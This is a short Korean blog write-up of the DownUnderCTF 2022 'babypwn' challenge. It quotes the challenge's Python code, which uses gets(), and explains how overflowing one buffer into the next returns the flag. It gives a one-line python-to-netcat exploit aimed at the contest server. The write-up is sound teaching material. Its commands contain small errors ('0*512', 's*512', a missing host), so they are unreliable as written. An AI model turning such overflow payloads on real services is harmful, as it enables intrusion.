-
[downunderCTF] baby(p)wn write upCTF_Writeup/시스템 system 2022. 9. 26. 19:45
python -c "print(0*512 + 'DUCTF')" | nc
문제에서 파일과 함께 제공했던 명령어이다. nc는 netcat의 약어이고 Netcat(ornc) TCP/UDP 프로토콜을 사용한 네트워크 연결을 통해 데이터를 읽고 쓰는 명령줄 유틸리티라고 한다.
(일반적으로 상대 서버의 포트가 열렸는지 확인하거나, 직접 서버가 되어 원격 서버에서(클라이언트) 접속이 가능하지 확인하는 용도이다)
nc 2022.ductf.dev 30021
문제에서 제공하는 python파일이다.
#!/usr/bin/env python3 from ctypes import CDLL, c_buffer libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') buf1 = c_buffer(512) buf2 = c_buffer(512) libc.gets(buf1) if b'DUCTF' in bytes(buf2): print(open('./flag.txt', 'r').read())
buf1로 문자열을 입력받고 buf2에 'DUCTF'가 포함되어 있으면 플래그를 획득할 수 있다.
buf1에 버퍼오버플로우 공격을 실행시켜 buf2영역을 침범하게 만들면 된다.
python exploit 코드는 다음과 같다.
python -c "print(s*512 + 'DUCTF')" | nc 2022.ductf.dev 30021
-c옵션은 구글링을 해도 안나와서 그냥 내 뇌피셜로 command옵션이라고 생각해버렸다. 문자열로 실행시키고자하는 명령어를 작성해주고 서버로 전달한다는 의미이다.
저렇게 하면 서버에서 플래그를 리턴해준다.
**b'가 이해가 안된다면**
python에서 bytes(b'문자열')를 실행시키면 해당 문자열이 바이트형 객체로 생성된다. 자세한 것은 아래 링크를 참고하면 좋다
https://sagittariusof85s.tistory.com/267